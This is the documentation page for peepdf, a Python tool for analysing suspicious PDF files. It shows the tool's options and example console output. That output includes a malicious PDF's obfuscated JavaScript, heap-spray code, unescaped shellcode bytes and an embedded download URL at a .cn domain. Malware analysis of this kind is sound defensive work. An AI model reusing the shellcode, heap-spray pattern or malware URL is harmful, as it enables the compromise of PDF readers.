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peepdf - PDF Analysis Tool

 

 

What is this?

peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of PyV8 and Pylibemu it provides Javascript and shellcode analysis wrappers too. Apart of this it is able to create new PDF files, modify existent ones and obfuscate them.

 

Usage

 

Usage: ./peepdf.py [options] PDF_file

Options:
  -h, --help            show this help message and exit
  -i, --interactive     Sets console mode.
  -s SCRIPTFILE, --load-script=SCRIPTFILE
                        Loads the commands stored in the specified file and
                        execute them.
  -c, --check-vt        Checks the hash of the PDF file on VirusTotal.
  -f, --force-mode      Sets force parsing mode to ignore errors.
  -l, --loose-mode      Sets loose parsing mode to catch malformed objects.
  -m, --manual-analysis
                        Avoids automatic Javascript analysis. Useful with
                        eternal loops like heap spraying.
  -u, --update          Updates peepdf with the latest files from the
                        repository.
  -g, --grinch-mode     Avoids colorized output in the interactive console.
  -v, --version         Shows program's version number.
  -x, --xml             Shows the document information in XML format.


$ ./peepdf.py -i


PPDF> help

Documented commands (type help <topic>):
========================================
bytes           errors       js_eval           open          sctest    
changelog       exit         js_join           quit          search    
create          filters      js_unescape       rawobject     set       
decode          hash         log               rawstream     show      
decrypt         help         malformed_output  references    stream    
embed           info         metadata          replace       tree      
encode          js_analyse   modify            reset         vtcheck   
encode_strings  js_beautify  object            save          xor       
encrypt         js_code      offsets           save_version  xor_search

 

Index

How does it work?

  •  How can I execute the tool?

   The basic syntax is:

$ ./peepdf.py pdf_file

  
   But you can use the -f option to avoid errors and to force the tool to ignore them:

$ ./peepdf.py fcexploit.pdf
Error: Missing /Length in stream object!

 

$ ./peepdf.py -f fcexploit.pdf
 
File: fcexploit.pdf
MD5: 659cf4c6baa87b082227540047538c2a
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9
Size: 25169 bytes
Version: 1.3
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 18
Streams: 5
Comments: 0
Errors: 1

Version 0:
	Catalog: 27
	Info: 11
	Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]
		Errors (2): [11, 25]
	Streams (5): [5, 7, 9, 10, 11]
		Encoded (4): [5, 7, 9, 10]
	Objects with JS code (1): [5]
	Suspicious elements:
		/OpenAction: [1]
		/JS: [4]
		/JavaScript: [4]
		getAnnots (CVE-2009-1492): [5]

 

That's the default output, if you really want to explore and play with the PDF file use the interactive console (-i). These are some of the common commands:
 

  • The tree command shows the logical structure of the file:
     
PPDF> tree

/Catalog (1)
	/Fields (5)
	array (2)
	/JavaScript (7)
		/Names (10)
			/Action /JavaScript (12)
				stream (13)
	/Pages (4)
		/Page (9)
			/Pages (4)
			stream (11)
			/ProcSet (8)
		/ProcSet (8)
	/Outlines (3)
	dictionary (6)
/Info (14)

 

  • To view the physical structure of the file you will have to use the offsets command:

 

PPDF> offsets

       0 Header
      17
        Object  1 (260)
     276
     279
        Object  2 (19)
     297
     300
        Object  3 (48)
     347
     350
        Object  4 (78)
     427
     430
        Object  5 (33)
     462
     465
        Object  6 (21)
     485
     488
        Object  7 (41)
     528
     531
        Object  8 (68)
     598
     601
        Object  9 (187)
     787
     790
        Object  10 (52)
     841
     844
        Object  11 (85)
     928
     931
        Object  12 (50)
     980
     983
        Object  13 (1823)
    2805
    2808
        Object  14 (204)
    3011
    3014
        Xref Section (325)
    3338
    3341
        Trailer (69)
    3409
    3410 EOF

 

  • With the metadata command you can see the metadata information in each version of the document:

 

PPDF> metadata

Info Object in version 0:

/Title 
/ModDate 2008312053854
/CreationDate 2008312053854
/Producer Scribus PDF Library 1.3.3.12
/Trapped /False
/Creator Scribus 1.3.3.12
/Keywords 
/Author

 

  • The command rawobject shows the different objects without decodings, while the object command shows the content after the decoding process:

 

PPDF> object 1

/AcroForm 5 0 R
/Threads 2 0 R
/Names 7 0 R
/OpenAction <</S /JavaScript
/JS (this.uSQXcfcd2())>>
/Pages 4 0 R
/Outlines 3 0 R
/Type /Catalog
/PageLayout /SinglePage
/Dests 6 0 R
/ViewerPreferences <</PageDirection /L2R>>

PPDF> rawobject 1

1 0 obj
<< /#41#63#72#6f#46#6f#72#6d 5 0 R
/#54#68#72#65#61#64#73 2 0 R
/#56#69#65#77#65#72#50#72#65#66#65#72#65#6e#63#65#73  << /#50#61#67#65#44#69#72#65#63#74#69#6f#6e /#4c#32#52 >>
/#4f#70#65#6e#41#63#74#69#6f#6e << /#53 /#4a#61#76#61#53#63#72#69#70#74
/#4a#53 (\164\150\151\163\056\165\123\121\130\143\146\143\144\062\050\051) >>
/#50#61#67#65#73 4 0 R
/#4f#75#74#6c#69#6e#65#73 3 0 R
/#54#79#70#65 /#43#61#74#61#6c#6f#67
/#50#61#67#65#4c#61#79#6f#75#74 /#53#69#6e#67#6c#65#50#61#67#65
/#44#65#73#74#73 6 0 R
/#4e#61#6d#65#73 7 0 R >>
endobj

 

  • The same idea is used with the streams:

 

PPDF> stream 13

function nofaq(lgc){var ppwsd="";for(rxr=0;rxr<lgc.length;rxr+=2){ppwsd+=(String.fromCharCode(parseInt(lgc.substr(rxr,5),19)));}eval(ppwsd);}nofaq("0D0A6452601D6 24C2B445F493F671D341D5F56651D38606052672223320D0A57635F54625A5G5F1D5D46494B3A223C2H30673 9261D42446438644523690D0A1D1D65595A5D561D223C2H306739285D565F5862591D241D2C1D331D4244643 8644523690D0A1D1D1D1D3C2H3067391D25341D3C2H306739320D0A1D1D6B0D0A1D1D3C2H3067391D341D3C2 H306739286163536162605A5F58222A261D4244643864451D291D2C23320D0A1D1D60566263605F1D3C2H306 739320D0A6B0D0A57635F54625A5G5F1D4D4A4D5G594E485522533956493F5823690D0A6452601D424840642 H39441D341D2A662A542A542A542A54320D0A1D1D1D1D1D1D605H5A574A58571D341D635F566154525H56221 F1I632E2D2E2D1I632E2D2E2D1I632A5756531I632D2D2F531I632G2G54301I632I2A53301I632I2A2A2B1I6 356572D2D1F1D250D0A1F1I63562C2E2D1I63565357521I63562I2A2F1I63575756541I63575757571I632I5 32H571I6355572E561I63565756571I632G2E56571I63562D52571I6330572G2E1I632E26161 ...      

PPDF> rawstream 13

78 9c 95 58 5b 4f dd 46 10 fe 2b 11 4f 1c 25 8a   |x..X[O.F..+.O.%.|
ec d9 8b 6d 51 1e 7c 39 6b fb b9 bf 80 a6 40 a2   |...mQ.|9k.....@.|
a6 d0 02 49 95 46 fd ef fd 66 af 5e db e7 90 c8   |...I.F...f.^....|
02 96 f5 ec 37 f7 99 1d df 7d 79 f8 f0 f2 e9 f1   |....7....}y.....|
e1 cd c3 e3 dd cd df 97 9f ef 3f 1c be 7f bd 79   |..........?...y|
7a f3 fc cf b7 6f 7f 5c 5f 5c 5c dd 3d 3e 5d be   |z....o\_\\.=>].|
fc fb 72 5d 5c e1 f7 2f 78 ff fe f3 ed c3 fd cb   |..r]\../x.......|
47 fe f7 ed 35 1d be 5b ca b7 d7 97 bf be 3c 7d   |G...5..[......<}|
...

 

  • Other useful command is references, very helpful to know where an object is referenced and the references in an object:

 

PPDF> references to 12

[10]

PPDF> rawobject 10

10 0 obj
<</Names [(New_Script) 12 0 R]
>>
endobj

PPDF> references in 12

['13 0 R']

 

  • If there are some objects with Javascript code in their content you can use the JS commands (PyV8 required) to analyze them (js_eval, js_join, js_unescape, js_analyse):

 

PPDF> js_analyse object 13

Javascript code:


var tX1PnUHy = new Array();
function lRUWC(E79yB, NPvAvQ){
  while (E79yB.length * 2 < NPvAvQ){
    E79yB += E79yB;
  }
  E79yB = E79yB.substring(0, NPvAvQ / 2);
  return E79yB;
}
function YVYohZTd(bBeUHg){
var NTLv7BP = 0x0c0c0c0c;
rpifVgf = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64"+ "%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787"+ "%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3"+ "%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66"+ "%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef"+ "%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64"+ "%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf..."

Unescaped bytes:
43 43 43 43 eb 0f 5b 33 c9 66 b9 80 01 80 33 ef   |CCCC..[3.f....3.|
43 e2 fa eb 05 e8 ec ff ff ff 7f 8b 4e df ef ef   |C..........N...|
ef 64 af e3 64 9f f3 42 64 9f e7 6e 03 ef eb ef   |.d..d..Bd..n....|
ef 64 03 b9 87 61 a1 e1 03 07 11 ef ef ef 66 aa   |.d...a........f.|
eb b9 87 77 11 65 e1 07 1f ef ef ef 66 aa e7 b9   |...w.e......f...|
87 ca 5f 10 2d 07 0d ef ef ef 66 aa e3 b9 87 00   |.._.-.....f.....|
21 0f 8f 07 3b ef ef ef 66 aa ff b9 87 2e 96 0a   |!...;...f.......|
57 07 29 ef ef ef 66 aa fb af 6f d7 2c 9a 15 66   |W.)...f...o.,..f|
aa f7 06 e8 ee ef ef b1 66 9a cb 64 aa eb 85 ee   |........f..d....|
b6 64 ba f7 b9 07 64 ef ef ef bf 87 d9 f5 c0 9f   |.d....d.........|
07 78 ef ef ef 66 aa f3 64 2a 6c 2f bf 66 aa cf   |.x...f..d*l/.f..|
87 10 ef ef ef bf 64 aa fb 85 ed b6 64 ba f7 07   |......d.....d...|
8e ef ef ef ec aa cf 28 ef b3 91 c1 8a 28 af eb   |.......(.....(..|
97 8a ef ef 10 9a cf 64 aa e3 85 ee b6 64 ba f7   |.......d.....d..|
07 af ef ef ef 85 e8 b7 ec aa cb dc 34 bc bc 10   |............4...|
9a cf bf bc 64 aa f3 85 ea b6 64 ba f7 07 cc ef   |....d.....d.....|
ef ef 85 ef 10 9a cf 64 aa e7 85 ed b6 64 ba f7   |.......d.....d..|
07 ff ef ef ef 85 10 64 aa ff 85 ee b6 64 ba f7   |.......d.....d..|
07 ef ef ef ef ae b4 bd ec 0e ec 0e ec 0e ec 0e   |................|
6c 03 eb b5 bc 64 35 0d 18 bd 10 0f ba 64 03 64   |l....d5......d.d|
92 e7 64 b2 e3 b9 64 9c d3 64 9b f1 97 ec 1c b9   |..d...d..d......|
64 99 cf ec 1c dc 26 a6 ae 42 ec 2c b9 dc 19 e0   |d.....&..B.,....|
51 ff d5 1d 9b e7 2e 21 e2 ec 1d af 04 1e d4 11   |Q......!........|
b1 9a 0a b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64   |....d.d...2.d..d|
b5 f3 ec 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b   |...2d.d.*..-....|
11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74 70 3a 2f   |..........http:/|
2f 62 69 6b 70 61 6b 6f 63 2e 63 6e 2f 6e 75 63   |/bikpakoc.cn/nuc|
2f 65 78 65 2e 70 68 70                           |/exe.php|


URLs in shellcode:
	http://bikpakoc.cn/nuc/exe.php

Index

More info

You can take a look at the Wiki of the project: installation, execution and all the commands explained.

 

Releases

 

 Date   Release  Download #1  Download #2
 Now   Github version  ZIP  -
 2014-06-09   peepdf v0.3  ZIP   SHA1  TAR.GZ   SHA1
 2012-07-24   peepdf v0.2 (Black Hat USA Arsenal)  ZIP   SHA1  TAR.GZ   SHA1
 2012-03-16   peepdf v0.1 r92 (Black Hat Europe Arsenal)  ZIP   SHA1  TAR.GZ   SHA1
 2011-05-05   peepdf v0.1  ZIP   SHA1  -